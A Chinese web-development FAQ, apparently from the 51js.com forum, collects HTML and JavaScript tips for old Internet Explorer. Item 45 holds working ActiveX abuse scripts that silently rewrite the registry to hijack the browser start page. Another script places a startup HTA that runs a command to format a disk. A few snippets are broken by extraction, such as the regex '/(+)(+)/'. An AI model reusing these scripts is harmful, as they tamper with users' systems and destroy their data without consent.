1.怎樣才能把RealPlayer文件在網(wǎng)頁(yè)做一個(gè)試聽(tīng)連接?

<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="PlayButton">

2.請(qǐng)問(wèn)如何去掉IE的上下滾動(dòng)條?

<body style='overflow:scroll;overflow-y:hidden'>

</body>

3.如何在打開(kāi)頁(yè)面的時(shí)候,輸入表單就獲得焦點(diǎn)?

如果表單沒(méi)有名字可以用document.forms[index]數(shù)組訪問(wèn) 如果表單項(xiàng)沒(méi)有名字可以用document.forms[index].elements[index]數(shù)組訪問(wèn) 這里index是整數(shù) 比如:

<form>

<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表單1,第一個(gè)表單項(xiàng)';">

</form>

<form name="form2">

<input type="text" value="" onclick ="document.form2.elements[0].value='我是表單2,第一個(gè)表單項(xiàng)';">

</form>

<form name="form3">

<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表單3,第一個(gè)表單項(xiàng)';">

</form>

4.解釋一下event.X和event.clientX有什么區(qū)別?

event.clientX返回事件發(fā)生時(shí),mouse相對(duì)于客戶窗口的X坐標(biāo)

event.X也一樣

但是如果設(shè)置事件對(duì)象的定位屬性值為relative

event.clientX不變

而event.X返回事件對(duì)象的相對(duì)于本體的坐標(biāo)

event代表事件的狀態(tài),例如事件發(fā)生的的元素、鼠標(biāo)的位置等等,event對(duì)象只在事件過(guò)程中才有效。

event屬性:

altKey

檢索ALT鍵的當(dāng)前狀態(tài)

可能的值 true為關(guān)閉

false為不關(guān)閉

button

檢索按下的鼠標(biāo)鍵

可能的值: 0 沒(méi)按鍵

1 按左鍵

2 按右鍵

3 按左右鍵

4 按中間鍵

5 按左鍵和中間鍵

6 按右鍵和中間鍵

7 按所有的鍵

cancelBubble

設(shè)置或檢索當(dāng)前事件是否將事件句柄起泡

可能的值: false 啟用起泡

true 取消該事件起泡

clientX

檢索與窗口客戶區(qū)域有關(guān)的鼠標(biāo)光標(biāo)的X坐標(biāo),屬性為只讀,沒(méi)有默認(rèn)值。

clientY

檢索與窗口客戶區(qū)域有關(guān)的鼠標(biāo)光標(biāo)的Y坐標(biāo),屬性為只讀,沒(méi)有默認(rèn)值。

ctrlKey

ctrlKey 檢索CTRL鍵的當(dāng)前狀態(tài)

可能的值 true為關(guān)閉

false為不關(guān)閉

dataFld

檢索被oncellchange事伯影響的列

aTransfer

為拖放操作提供預(yù)先定義的剪貼板式。

Element

檢索在onmouseover和onmouseout事件期間退出的對(duì)象指針

keyCode

設(shè)置或檢索與引發(fā)事件的關(guān)鍵字相關(guān)聯(lián)的Unicode關(guān)鍵字代碼

該屬性與onkeydown onkeyup onkeypress一起使用

如果沒(méi)有引發(fā)事件的關(guān)鍵字,則該值為0

offsetX

檢索與觸發(fā)事件的對(duì)象相關(guān)的鼠標(biāo)位置的水平坐標(biāo)

offsetY

檢索與觸發(fā)事件的對(duì)象相關(guān)的鼠標(biāo)位置的垂直坐標(biāo)

propertyName

檢索在對(duì)象上己更改的特性的名稱

reason

檢索數(shù)據(jù)源對(duì)象數(shù)據(jù)傳輸?shù)慕Y(jié)果

可能的值:

0 數(shù)據(jù)傳輸成功

1 數(shù)據(jù)傳輸失敗

2 數(shù)據(jù)傳輸錯(cuò)誤

recordset

檢索數(shù)據(jù)源對(duì)象中默認(rèn)記錄集的引用

該特性為只讀

repeat

檢索一個(gè)事件是否被重復(fù)

該屬性只有在onkeydown事件重復(fù)時(shí)才返回true

returnValue

設(shè)置或檢索從事件中返回的值

可能的值:

true 事件中的值被返回

false 源對(duì)象上事件的默認(rèn)操作被取消

screenX

檢索與用戶屏相關(guān)的鼠標(biāo)的水平位置

screenY

檢索與用戶屏相關(guān)的鼠標(biāo)的垂直位置

shiftKey

檢索shiftKey鍵的當(dāng)前狀態(tài)

可能的值 true為關(guān)閉

false為不關(guān)閉

srcElement

檢索觸發(fā)事件的對(duì)象

srcFilter

檢索導(dǎo)致onfilterchange事件觸發(fā)的過(guò)濾器對(duì)象

srcUm

檢索觸發(fā)事件行為的同一資源名稱

除非下面兩個(gè)條件都為真,否則該特性被設(shè)置為null

1.行為被附加到觸發(fā)事件的要素上

2.在前面的項(xiàng)目符號(hào)中定義的行為己指定了一個(gè)URN標(biāo)識(shí)符和己觸發(fā)的事件

toElement

檢索作為onmouseover或者onmouseout事件結(jié)果而移動(dòng)的對(duì)象

type

檢索事件對(duì)象中的事件名稱

x

檢索相對(duì)于父要素鼠標(biāo)水平坐標(biāo)的整數(shù)

y

檢索相對(duì)于父要素鼠標(biāo)垂直坐標(biāo)的整數(shù)

5.請(qǐng)問(wèn)如何讓網(wǎng)頁(yè)自動(dòng)刷新?

在head部記入<META HTTP-EQUIV="Refresh" content="20">其中20為20秒后自動(dòng)刷新,你可以更改為任意值。

6.如何讓一個(gè)窗口永遠(yuǎn)在最上面?

<a onclick=aa()>點(diǎn)這里</a>

<script language='javascript'>

function aa(){

y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");

}

</script>
7.如何實(shí)現(xiàn)虛線邊框?

<html>

<head>

<title>虛線</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

<body bgcolor="#FFFFFF" text="#000000">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td style="border-top-style:dashed ;"> </td>

</tr>

</table>

</body>

</html>

[/html]

還可以把dashed換成dotted | solid | double | groove | ridge | inset | outset 等等樣式,還可以在style里指定顏色:border-color:#??????

[html]<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>New Page 1</title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>

<body>

<table border="1" width="100%" style="border: 1px dashed">

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有這樣才行嗎?</td>

</tr>

<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>

<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,這樣出來(lái)的虛線邊框是斷斷續(xù)續(xù)的。</td></tr></table>

</body></html>

8.如何用html實(shí)現(xiàn)瀏覽器上后退按鈕的功能?

<a href="javascript:history.go(-1)">點(diǎn)擊后退</a>

或者

<script> history.back() </script>

9.表單中如何用圖片按鈕實(shí)現(xiàn) reset?

<html>

<head>

<script>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

<textarea rows="2" name="S1" cols="20"></textarea>

<input type="submit" value="提交" name="B1">

<image src="logo.gif" onclick=aaa()>

</form>

</body></html>

10.怎樣去掉圖片鏈接點(diǎn)擊后,圖片周圍的虛線?

onFocus="if(this.blur)this.blur()" blur: 使物件失焦... 當(dāng)你點(diǎn)擊圖片鏈接時(shí) 圖片鏈接得到焦點(diǎn)(Focus) 就會(huì)出現(xiàn)虛線(提示你這個(gè)圖片得到焦點(diǎn)了) 用blur能使之失焦 簡(jiǎn)單一點(diǎn)的語(yǔ)法 onFocus="this.blur()"

11.如何去掉網(wǎng)頁(yè)連接的下劃線?

<head>

<style type="text/css">

<!--

A { text-decoration: none}

-->

</style>

</head>

<a href=http://www.51js.com>一個(gè)連接</a>

12.請(qǐng)問(wèn)怎么在網(wǎng)頁(yè)中改變鼠標(biāo)的箭頭形狀?

<body>

<a href="#" style="cursor: auto;">auto</a><br/>

<a href="#" style="cursor: crosshair ">crosshair </a><br/>

<a href="#" style="cursor: default ">default </a><br/>

<a href="#" style="cursor: hand ">hand </a><br/>

<a href="#" style="cursor: move ">move </a><br/>

<a href="#" style="cursor: e-resize ">e-resize </a><br/>

<a href="#" style="cursor: ne-resize ">ne-resize </a><br/>

<a href="#" style="cursor: nw-resize">nw-resize</a><br/>

<a href="#" style="cursor: n-resize">n-resize</a><br/>

<a href="#" style="cursor: se-resize">se-resize</a><br/>

<a href="#" style="cursor: sw-resize">sw-resize</a><br/>

<a href="#" style="cursor: s-resize">s-resize</a><br/>

<a href="#" style="cursor: w-resize">w-resize</a><br/>

<a href="#" style="cursor: text">text</a><br/>

<a href="#" style="cursor: wait">wait</a><br/>

<a href="#" style="cursor: help">help</a><br/>

</body>

13.target="_blank"規(guī)定鏈接在新窗口中打開(kāi),那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?

target="_parent"、上一層框架

target="_self" 、自身窗口、框架

target="_top" 最頂層框架。

更細(xì)點(diǎn)的解釋,從織夢(mèng)補(bǔ)給網(wǎng)找來(lái)的:

_blank

開(kāi)啟一個(gè)新的視窗,而且是沒(méi)有命名的視窗。

_self

強(qiáng)迫連結(jié)的結(jié)果顯示在同一個(gè)子畫(huà)面,而忽略 BASE 的設(shè)定。

_parent

在該子畫(huà)面的「父畫(huà)面」(也就是上一層的 FRAMESET)中顯示連結(jié)的結(jié)果。

_top

從視窗的最上頭開(kāi)始顯示畫(huà)面;換句話說(shuō)就是先清除整個(gè)視窗後再載入連結(jié)

14.如何使網(wǎng)友收藏本網(wǎng)時(shí),收藏夾顯示的不是微軟的那個(gè)一成不變的標(biāo)志,而是本人選擇的ICON?

<LINK href="fav.ico" rel="shortcut icon">

加入HADE標(biāo)簽中,圖片放入根目錄下,須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

<LINK href="路徑/圖檔.ico" rel="shortcut icon">

15.請(qǐng)問(wèn)如何去掉主頁(yè)右面的滾動(dòng)條?

<body scroll="no">

<body style="overflow-y:hidden">

16.怎樣不使用頁(yè)面的緩存?即每一次打開(kāi)頁(yè)面時(shí)不是調(diào)用緩存中的東西

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

17.請(qǐng)問(wèn)如何忽視右鍵?

<body oncontextmenu="return false">
18.怎樣在同一頁(yè)面內(nèi)控制不同鏈接的CSS屬性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定義一個(gè)新的標(biāo)示,按照HTML的語(yǔ)法,超級(jí)連接得是

A.YOURS:LINK A.YOURS:HOVER

YOURS可以改作你自己的字

然后在選中某個(gè)連接后,在CSS面版中點(diǎn)中YOURS即可。

按需要,你可以定義N個(gè)標(biāo)示,N種鼠標(biāo)OVER的效果

19.電子郵件處理提交表單

<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">

<input type=submit>

</form>

20.有沒(méi)有可能用層來(lái)遮住FLASH?

1.在flash的parameters里加入 <param name="wmode" value="transparent">

2.<body onblur=self.focus()>

21.如何根據(jù)屏幕分辨率調(diào)用相對(duì)應(yīng)的頁(yè)面?

先做好幾個(gè)頁(yè)面,比如一個(gè)htm1.htm是800*600,一個(gè)是htm2.htm是1024*768的 然后在你的入口頁(yè)面 index.htm 中判斷:

<html>

<head>

<script language=javascript>

<!--

function mHref() {

if (screen.width == 1024) location.href = "htm2.htm";

else if (screen.width == 800) location.href = "htm1.htm";

else return(false);

}

//-->

</script>

</head>

<body onload="mHref();">

</body>

</html>

22.不用詢問(wèn)就關(guān)閉瀏覽器

<head>

<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="Command" value="Close">

</object>

</head>

<body>

<input type="button" value="點(diǎn)擊我關(guān)閉窗口" onclick="closes.Click();">

</body>

23.如何彈出只有狀態(tài)欄的窗口?

<html>

<head>

<title>open() close()</title>

<script language="javascript" type="text/javascript">

<!--

function openWin()

{

var newWin=open("","","menubar=1,height=200");

newWin.document.write("<form>");

newWin.document.write("單擊以下按鈕關(guān)閉窗口:<p>");

newWin.document.write("<input type=button value='關(guān)閉' onclick=window.close()>");

newWin.document.write("</form>");

}

</script></head>

<body>

<div align=center>

<h2>單擊以下按鈕顯示新窗口...</h2>

<form name=form1>

<input type=button value="新窗口1[只顯示地址欄]" onclick=window.open('','new1','location=1')>

<input type=button value="新窗口2[只顯示狀態(tài)欄]" onclick=window.open('','','status=1')>

<input type=button value="新窗口3[只顯示工具欄]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>

<input type=button value="新窗口4[只顯示菜單欄]" onclick=openWin()>

<input type=button value="新窗口5[一個(gè)不少]" onclick=window.open('','new5')>

<input type=button value="新窗口6[光棍但可調(diào)大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>

</form>

</div>

</body>

</html>

24.如何改變iframe的src地址

<body>

<input type="button" value="改變地址" onClick="parent.displayinhere.location.>

<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">

</body>

25.如何讓超鏈接沒(méi)有下劃線

在源代碼中的<HEAD>…</HEAD>之間輸入如下代碼:

<style type="text/css"> <!--

a { text-decoration: none}

--> < /style>

26.頁(yè)面打開(kāi)時(shí)自動(dòng)彈出一個(gè)窗口的代碼怎么寫?

<html>

<head>

<title>Untitled Document</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<script language="JavaScript">

<!--

function MM_openBrWindow(theURL,winName,features) { //v2.0

window.open(theURL,winName,features);

}

//-->

</script>

</head>

<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">

</body>

</html>

27.請(qǐng)問(wèn)如何做到讓一個(gè)網(wǎng)頁(yè)自動(dòng)關(guān)閉.

<html>

<head>

<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="Command" value="Close">

</object>

</head>

<body onload="window.setTimeout('closes.Click()',10000)">

這個(gè)窗口會(huì)在10秒過(guò)后自動(dòng)關(guān)閉,而且不會(huì)出現(xiàn)提示. </body>

28.如何讓我的頁(yè)面出現(xiàn)一個(gè)會(huì)講話的小人?Merlin

<HTML>

<HEAD>

<TITLE>默林</TITLE>

<META http-equiv=Content-Type content="text/html; charset=gb2312">

</HEAD>

<BODY>

<p><OBJECT id=sims classid=CLSID<img src="images/smilies/bigsmile.gif" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>

</OBJECT>

<SCRIPT>

var MerlinID;

var MerlinACS;

sims.Connected = true;

MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);

Merlin = sims.Characters.Character(MerlinID);

Merlin.Show();

Merlin.Play("Surprised");

Merlin.Speak("大家好");

Merlin.Play("GestureLeft");

Merlin.Think("我是默林!");

Merlin.Play("Pleased");

Merlin.Think("可愛(ài)嗎?");

Merlin.Play("GestureDown");

Merlin.Speak("哈哈!");

Merlin.Hide();

function LoadLocalAgent(CharID, CharACS){

LoadReq = sims.Characters.Load(CharID, CharACS);

return(true);

}

</SCRIPT>

</p>

<p> </p>

<p>看此效果必須裝有office2000!!!</p>

</BODY>

</HTML>

如果看不到效果或效果有問(wèn)題,請(qǐng)將代碼保存為html文件查看.

這代碼中使用的MSAgent仍然屬于客戶端的控件,在Win98安裝PWS時(shí)可以安裝上一個(gè)叫Merlin的精靈,查查你的系統(tǒng)中有沒(méi)有一個(gè)叫做Merlin.acf的文件,應(yīng)該在一個(gè)叫MSAgent的目錄,記不太清了,有的話才能看到,否則就會(huì)出現(xiàn)下載的提示,在Win2000中已安裝了MSAgent2.0,所以一般都會(huì)正確的顯示出來(lái),還有很多精靈,但之所以選用Merlin因?yàn)榇蟛糠值臋C(jī)器上都有,如果想自己定制的話,可以到微軟去下載一個(gè)叫Character Editor的工具,制作的精靈必須分發(fā)到客戶端才可使用,在微軟站點(diǎn)的MSAgent是在服務(wù)器端的,每個(gè)命令都要到服務(wù)器上去處理,然后發(fā)回相應(yīng)的動(dòng)作圖畫(huà),(不過(guò)至今我還沒(méi)看到過(guò),我們的帶寬本來(lái)就不夠,還有一堆人在下載,哎,真是痛苦!),我還沒(méi)有看到有關(guān)在Server端制作MSAgent的文章,誰(shuí)有的話,可以告訴我一聲。 其中: 用"=number" number是字?jǐn)?shù)/分 例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 還有,找到這句: Merlin.LanguageID = 0x409; 改為0x804 (Simplified Chinese) 改為0x404 (Traditional Chinese) 要用的話最好到微軟去看看它的使用許可協(xié)議,要是被微軟告了可別怪我噢!! 最終用戶許可 http://msdn.microsoft.com/msagent/eula.asp 分發(fā)許可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下載 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 資料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何幾秒后轉(zhuǎn)到別的頁(yè)面?

<META HTTP-EQUIV="Refresh" CONTENT="時(shí)間;URL=地址">

30.在頁(yè)面中如何加入不是滿鋪的背景圖片,拉動(dòng)頁(yè)面時(shí)背景圖不動(dòng)

<html><head>

<STYLE>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</STYLE>

</head>

<body bgproperties="fixed" >

</body>

</html>

31.文本輸入框什么屬性能實(shí)現(xiàn)不可輸入?

<input type="text" name="textfield" disabled>

或者

<input type="text" name="textfield" readonly>

32.怎樣保持layer在最前面,而不被Iframe、Object所覆蓋,有什么解決方法?

只要在Layer中再插Iframe 或 Object 設(shè)z-Index值

<div z-Index:2><object xxx></object></div> # 前面

<div z-Index:1><object xxx></object></div> # 后面

<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>

<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>

33.如何讓表格并排?

首先在第一個(gè)表里應(yīng)該這樣寫: "<table border=0 cellpadding=1 cellspacing=1 align=left>" 這table里最為關(guān)鍵是"align=left"這一句。 然后在第二個(gè)表里也應(yīng)該加上align=left 這樣,你的目的就達(dá)到了。

<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

[/html]

[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>

<br/>還可以排三個(gè)

<br/>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>

34.如何讓兩個(gè)form表單行距之間不出現(xiàn)空格?

這樣寫 <TABLE><FORM><TR>.......</TR></FORM></TABLE>

35.如何讓頁(yè)面自動(dòng)刷新?

方法一,用refresh

<head>

<meta http-equiv="refresh" content="5">

</head>

5表示刷新時(shí)間

方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>

36.如何給文本連接加上提示語(yǔ)言?

<a href="#" title="我出來(lái)拉">click me</a>

37.英文排版的問(wèn)題:怎么能讓英自動(dòng)排列整齊?

請(qǐng)使用css中的 text-align: justify;

<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">

<tr>

<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br/>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的頁(yè)面在別人的框架里打開(kāi)?

把以下代碼加至你的<head>區(qū)

<script>

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打開(kāi)的子窗口刷新父窗口的代碼里如何寫?

window.opener.location.reload()
42.JS正則表達(dá)式replace用法

下述示例腳本使用replace方法來(lái)轉(zhuǎn)換串中的單詞。在替換的文本中,腳本使用全局 RegExp

對(duì)象的$1和$2屬性的值。注意,在作為第二個(gè)參數(shù)傳遞給replace方法的時(shí)候,RegExp對(duì)象的$屬性的名

稱。

<SCRIPT LANGUAGE="JavaScript1.2">

re = /(+)(+)/;

str = "John Smith";

newstr=str.replace(re,"$2, $1");

document.write(newstr)

</SCRIPT>

顯示結(jié)果:"Smith, John".

str.replace(re,"$2, $1");這一句,$2,$1是什么意思?

[font color=blue]下面這個(gè)解釋我也不大明白,可否幫我解釋一下,多謝!{/font]

$1, ..., $9屬性

用圓括號(hào)括著的匹配子串,如果有的話。

是RegExp的屬性

靜態(tài),只讀

在JavaScript 1.2, NES 3.0以上版本提供

描述:因?yàn)閕nput是靜態(tài)屬性,不是個(gè)別正則表達(dá)式對(duì)象的屬性。你可以使用RegExp.input 訪問(wèn)該

屬性。

能加上圓括號(hào)的子串的數(shù)量不受限制,但正則表達(dá)式對(duì)象只能保留最后9 條。如果你要訪問(wèn)所有的

圓括號(hào)內(nèi)的匹配字串,你可以使用返回的數(shù)組。

RegExp.$n 保存滿足用圓括號(hào)括起來(lái)的匹配條件的子串

$2是匹配第2個(gè)括號(hào),$1是匹配第1個(gè)括號(hào),對(duì)多層括號(hào)嵌套應(yīng)該如何區(qū)分?而且如果超過(guò)$1~$9的括號(hào)如何匹配?

<script>

var reg=/((+)(+))/;

var str='John Smith';

reg.exec(str);

</script>

<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>

43.如何實(shí)現(xiàn)首頁(yè)全屏幕顯示?

<html>

<body><script language="javascript">

var coolw=642

var coolh=400

var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")

window.close()

</script></body></html>

44.如何動(dòng)態(tài)改變一個(gè)Object對(duì)象的樣式表風(fēng)格的Class?

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick="this.className='btn1'">你點(diǎn)我一下我的樣式表就改為使用.btn1了</button>

45.如何用腳本來(lái)修改用戶系統(tǒng)的注冊(cè)表? (★★★★不推薦使用★★★★)

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

function f(){

try

{

//ActiveX 初始化

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

//設(shè)置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//設(shè)置Cookie完畢

//設(shè)置主頁(yè)

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");

//修改瀏覽器的標(biāo)題

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已經(jīng)被修改過(guò)了 51JS.COM");

//設(shè)置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"


var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}


AddFavLnk(loc, "無(wú)憂腳本", "http://www.51js.com");

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

</script>

格式化硬盤的,

把啟動(dòng)菜單下的automat.hta刪除即可,這是格式化 a:盤

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">

</object>

<SCRIPT>

scr.Reset();

scr.Path="C:\windows\start menu\Programs\啟動(dòng)\automat.hta";

scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";

scr.write();

</script>

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

<APPLET code="com.ms.activeX.ActiveXComponent" >

</APPLET>

<SCRIPT LANGUAGE="JAVASCRIPT">

a1=document.applets[0];

fn="51js.HTM";

doc="<SCRIPT>s1=歡迎你訪問(wèn)無(wú)憂腳本!\請(qǐng)您將在啟動(dòng)文件夾內(nèi)的51js.com.HTM刪除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);

}

setTimeout("f()",1000)

</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">

VA = ARRAY()

' 獲取com.ms.com.Variant[]

</SCRIPT>

<BR>

</BODY>

</HTML>原理是一樣的!

46.如何監(jiān)聽(tīng)一個(gè)窗口被關(guān)閉了?

<body onunload="alert('你關(guān)閉了這個(gè)窗口')">

47.什么是innerHTML、outerHTML………還有innerText?

自己用代碼來(lái)體會(huì)一下

<div id=test><table><tr><td>文本<a>鏈接</a>另一段文本</td></tr></table></div>

<input type=button onclick=alert(test.innerText) value="show innerText"><br/>

<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br/>

<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br/>

48.關(guān)于try....catch..的語(yǔ)法捕捉錯(cuò)誤使用例子

try{

可能會(huì)引起錯(cuò)誤的語(yǔ)句

}

catch(表達(dá)式)

{

錯(cuò)誤處理語(yǔ)句

}

例如:

<button onclick=TryDemo()>Try...Catch...Demo</button>

<script>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在,所以會(huì)引發(fā)一個(gè)異常。

}

catch(e)

{

alert('錯(cuò)誤類型:'+e+'錯(cuò)誤信息:'+e.Descrition);

}

}

</script>
49.如何獲得一個(gè)Select中選中option的value?

select.options[select.selectedIndex].value

50.this 和self 有什么區(qū)別,各在哪里用

self指代窗口。 this的情況: 1. 用于元素事件代碼中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function構(gòu)造的類。

<script>

function Car(){this.name='Car';};alert(new Car().name);

</script>

51.如何禁止Ctrl+N?

<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

52.所有dhtml對(duì)象的屬性和方法其實(shí)在你本機(jī)的硬盤上就有!

查找:dhtmled.ocx

或在delphi/c++builder中import activeX 選dhtmled.ocx

53.window方法列表

發(fā)現(xiàn)經(jīng)常有人問(wèn)一些有關(guān)窗口操作的問(wèn)題,

所以花了些時(shí)間整理出這篇文章,

希望以后不會(huì)再有人問(wèn)這方面的問(wèn)題。

ie里window的method列表

alert(sMsg)

//彈出一個(gè)確認(rèn)消息框

attachEvent(sEvent,pFunction)

//綁定一個(gè)函數(shù)到某個(gè)事件,事件觸發(fā)時(shí)隨機(jī)執(zhí)行其中一個(gè)被綁定的函數(shù)

blur()

//令窗口喪失焦點(diǎn)

clearInterval(iIntervalID)

//清除指定定時(shí)器的關(guān)聯(lián)函數(shù)

clearTimeout(iTimeoutID)

//清除指定延時(shí)器的關(guān)聯(lián)函數(shù)

close()

//關(guān)閉窗口,如果窗口不是用腳本打開(kāi)的,會(huì)彈出確認(rèn)對(duì)話框。

confirm([sMessage])

//彈出“確定/取消”對(duì)話框

createPopup([vArgs])

//創(chuàng)建一個(gè)隱藏的彈出式窗口,vArgs是未來(lái)考慮提供的參數(shù),返回窗口句柄

detachEvent(sEvent,pFunction)

//取消一個(gè)事件的某個(gè)綁定函數(shù)

execScript(sExpression, sLanguage)

//用指定的語(yǔ)言執(zhí)行代碼

focus()

//激活窗口

moveBy(iX,iY)

//用相對(duì)方式移動(dòng)窗口

moveTo(iLeft,iTop)

//用絕對(duì)方式移動(dòng)窗口

navigate(sURL)

//轉(zhuǎn)到指定的連接

open( [sURL] [, sName] [, sFeatures] [, bReplace])

//打開(kāi)新窗口,并返回窗口句柄

//sName=(*_blank:打開(kāi)一個(gè)新的未命名窗口;_parent:在父窗口中打開(kāi);_search:同時(shí)打開(kāi)搜索窗口;_self:替換本窗口; _top:在頂級(jí)窗口里打開(kāi);*)

